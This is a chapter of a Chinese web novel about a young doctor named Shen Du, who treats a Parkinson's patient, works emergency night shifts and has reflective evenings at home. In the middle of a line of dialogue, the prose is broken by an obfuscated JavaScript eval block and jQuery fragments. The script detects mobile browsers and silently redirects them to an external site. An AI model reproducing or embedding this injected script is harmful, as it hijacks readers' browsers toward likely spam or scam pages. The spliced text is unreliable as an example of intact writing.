八月的最后一个周三，沈渡去裴衍的医院复诊。裴衍坐在轮椅上，手还是抖，但抖的幅度比上周小了一点。沈渡注意到他在尝试自己拿杯子，以前他端不起，今天端起来了，虽然颤颤巍巍的，水洒了一些，但没有打翻。她把手指搭上他的脉，弦细，尺弱。脉象没有明显变化，但她知道脉象的变化比症状慢得多。
“裴先生，方子我调整了一下。加了僵蚕、地龙、川芎、丹参。化痰、活血、通络。”裴衍看着自己端着水杯的手。“你会治好我吗？”沈渡看着她，又看着那只颤抖的手。“我不会说‘会’。但我可以试试。”
裴衍把水杯放下。水杯是陶瓷的，底部碰到桌面，发出一声沉闷的响。“你像她。她也不会说‘会’，她只说‘试试’。她试了一辈子，治好了一些人，没治好另一些人。没治好的人，她也没有放弃。”沈渡不知道“她”是谁。裴衍没有解释，她也没有追问。有些故事不需要讲，讲了反而轻了。
从裴衍那里出来，沈渡去了贺老那里。枇杷果黄透了，贺老让她拿塑料袋摘一些带回去。她站在枇杷树下，挑那些颜色深、个头大的摘。贺老在廊下泡茶，看她摘了一会儿，忽然说话。沈渡握着刚摘下来的那颗果子，果子很软，皮薄，一掐就破。
“治不好，不丢人。不治，才丢人。”她把那颗果子放进塑料袋里，继续摘。摘了大半袋，足够她和陈媛、徐敏分一分。贺老让她拿回去熬枇杷膏，说对咳嗽好。她还不会熬枇杷膏，但她可以学。贺老教她：枇杷果去皮去核，加冰糖，小火慢熬，熬到浓稠像蜂蜜一样。沈渡把那半袋枇杷果放在桌上，在旁边坐下来。
急诊科的夜班照旧。陈槿对沈渡的要求越来越高了——不再只是“跟着看”，开始让她独立写病历、开检查单、跟家属谈话。沈渡不擅长跟家属谈话，她嘴笨，不知道怎么说才能让人不害怕。但她硬着头皮说了，说得很慢，一句一句的，像在念一份没背熟的课文。家属听完了，问她：“医生，我爸爸还有救吗？”她不知道怎么回答。有救吗？也许有，也许没有。她说了实话：“我不知道。但我们会尽力。”
陈槿在身后听到了，没有说什么。后来在办公室里她对沈渡说：“你今天跟家属说的话，说得不好。但你说了实话，比说假话强。有些人会骗家属，说‘没事，小问题’，等病人死了，家属来闹。你不说假话，以后不会有麻烦。”
八月的最后一个周末，沈渡在社区义诊。来的人比平时多，她忙到快一点才结束。洗完手准备走的时候，诊室门口站着一个她没想到的人——裴衍的助理，那个Polo衫男人。他没有穿Polo衫，换了一件白色的短袖，手里提着一个纸袋。
“沈渡小姐，裴总让我把这个给你。”他把纸袋放在桌上，转身走了。沈渡拆开纸袋，里面是一本书——《帕金森病的中西医结合治疗》。扉页上有一行字，钢笔，笔迹有些发抖：“这本书我用不上了。也许你用得上。”沈渡把书放在桌上。不是怕，是她还没想好要不要收。她想了很久，最后还是拿了。书没错，送书的人也没错。书是她的，要不要是另一回事。
晚上沈渡回到家，把那本《帕金森病的中西医结合治疗》放在书桌上，没有翻开。她今天不想看书，她累了。不是身体的累，是脑子里装了太多东西——急诊科、社区、裴衍、贺老、林院长、陈槿、念念、陈媛。他们像一群人同时在她耳边说话，每个人的声音都不大，但叠在一起，变成嗡嗡嗡的白噪音。她想让那些声音停一下，不需要太久，几分钟就行。她关了灯，在黑暗中坐着。那些声音慢慢远了，像潮水退去，露出湿漉漉的沙滩。
“你在想什么？”那个声音忽然问。沈渡没有回答。
“你在想，你是不是走得太快了。”那个声音不是在问她，是在替她说。“你没有走快。你只是走得很稳，稳到别人看起来像是跑。”沈渡不知道这是不是安慰，但她听着，没有反驳。
“你以前像一棵被风吹弯的树，风停了你也直不起来。现在风还在吹，你已经能自己直了。”窗外的路灯把光洒进来，很淡，像稀释过的墨水洒在宣纸上。她看不到绿萝，但她知道它在，不需要开灯去看。
九月的第一天，沈渡去省中医院找林院长。林院长在门诊，病人一个接一个。沈渡在走廊的椅子上等了将近一个多小时才轮到她。林院长看到她进来，摘下老花镜。“你那个帕金森病人，怎么样了？”“手抖好了一点。方子调了两次，加了化痰活血的药。”“继续调。病久了，药要跟着变。不要一个方子吃到底。”
沈渡点头。
林院长看着她。“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669541|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你是不是要考助理医师了？”
“十一月报名，明年六月考。”
“书看得怎么样了？”
“在看。”
“光看不够。做题。真题做三遍，错题做五遍。做到看到题目就知道答案，不用想。”
沈渡又点头。
从省中医院出来，沈渡去了陈媛家。陈媛的头发已经长到肩膀了，扎了一个低马尾，碎发垂在耳边。沈渡把那袋枇杷果递给她。陈媛拎着袋子看了看，说：“这是枇杷？”“贺老家种的。熟了，让摘。”陈媛洗了一盘，两个人坐在沙发上吃。枇杷很甜，甜得沈渡有点不习惯。她想起奶奶的糖，想起那个红色包装纸上的桃子。糖纸还在抽屉里，糖早就化了，但甜还在。甜在记忆里，不会化。
“沈渡，你最近是不是有什么心事？”陈媛吐出一颗核。“没。”“你骗人。”陈媛把果核扔进垃圾桶，“你每次有心事就不说话，眼睛看着一个地方，很久不眨。”
沈渡看着她。她不知道陈媛什么时候变得这么了解她。“有一个病人，他给我送了书。不是什么大事。”陈媛又剥了一颗枇杷塞进嘴里。“你自己觉得不是大事就好。”
晚上回到家，沈渡把书桌上那本《帕金森病的中西医结合治疗》翻开。不是读，是看扉页上的字。那行字她看了很多遍了，每一遍都在想——裴衍写这行字的时候，手在抖吗？他握着笔，一笔一划地写，字迹歪歪扭扭，但每一个字都认得。他没有因为手抖就不写，他写了。
她合上书，放在书架最上面一层。不是藏起来，是放在那里。等她哪天需要了，随时可以拿。
沈渡关了台灯，躺在床上。她把手放在胸口，感觉到自己的心跳。一下一下，不快不慢。她想起那个声音说的话——“你现在像一棵树。风吹过来，你弯一下，风过了，你直起来。”弯了不代表断了，直了不代表没弯过。
窗外的月亮缺了一小块。沈渡以前会在睡前盯着看很久，等它圆。她现在已经不盯着月亮看了。圆不圆，它都在那里，她也在这里。她不必等它圆，它不必等她看。各在各的位置，各自发各自的光。月光从窗户照进来，她很淡，不够亮，但够她在黑暗中找到自己的手指。伸出手，月光落在手心里，她把手指合上，像是握住了那一小块缺月。